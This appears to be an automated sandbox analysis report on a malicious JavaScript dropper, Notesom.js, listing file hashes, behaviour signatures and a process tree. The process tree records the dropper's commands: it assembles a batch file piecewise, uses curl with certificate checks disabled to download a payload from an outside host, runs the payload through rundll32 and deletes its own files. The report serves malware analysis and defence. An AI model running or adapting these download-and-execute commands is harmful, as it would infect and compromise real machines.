Analysis

  • max time kernel
    145s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-12-2023 10:48

General

  • Target

    Notesom.js

  • Size

    75KB

  • MD5

    b305a98050164ca5bcebb8c41087f8a7

  • SHA1

    a505d3d54a7c1c1524f767ceb71433b54a7f769f

  • SHA256

    c7fa21a28f06df9fea4cec8343adb4970549f0ce3b67a88a9adb2e74215d7367

  • SHA512

    3de349a7dbc8c30086e9a75953836c8d0998ca81a3ad6de4b298e8f81f3f6092ebd261d548f5d3bdb520845228fd6bf845e7374d21dc9bb7776c189c79278195

  • SSDEEP

    1536:BALuT+QWqWdxRnzDk4z5/mOx7O8I7neKXhk66:kz3MnXh/6

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Notesom.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:3568
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\Notesom.js"
      2⤵
        PID:1140
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c echo|set /p="cu" > "C:\Users\Admin\AppData\Local\Temp\corrupti.u.bat"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4528
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo"
          3⤵
            PID:3900
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" set /p="cu" 1>"C:\Users\Admin\AppData\Local\Temp\corrupti.u.bat""
            3⤵
              PID:3728
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c echo rl "https://illemsauto.com/kyaSr/931257706" --output "C:\Users\Admin\AppData\Local\Temp\quisquam.c" --ssl-no-revoke --insecure --location >> "C:\Users\Admin\AppData\Local\Temp\corrupti.u.bat"
            2⤵
              PID:1844
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\corrupti.u.bat"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2836
              • C:\Windows\system32\curl.exe
                curl "https://illemsauto.com/kyaSr/931257706" --output "C:\Users\Admin\AppData\Local\Temp\quisquam.c" --ssl-no-revoke --insecure --location
                3⤵
                  PID:3468
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\corrupti.u.bat"
                2⤵
                  PID:4816
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c ren "C:\Users\Admin\AppData\Local\Temp\quisquam.c" sed.w
                  2⤵
                    PID:1220
                  • C:\Windows\System32\rundll32.exe
                    "C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\sed.w" Enter
                    2⤵
                      PID:1056

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\corrupti.u.bat

                    Filesize

                    142B

                    MD5

                    2410abec2a068ae7ffeddc39d1a4af1c

                    SHA1

                    f55e04b8eb16d5d6799ebbb0662013096803b372

                    SHA256

                    b4f7f31953bea6746ac984339a8df2a3c28ab57d8ee8f91bd7f1f6509809cb84

                    SHA512

                    66f291db4ff837672235adcec8612191913faa281a29a4de354be3de068920a7e6ed05727ebc81fb2a52bf73571537498009683c216f9dbf5631a8f1cb82bcd4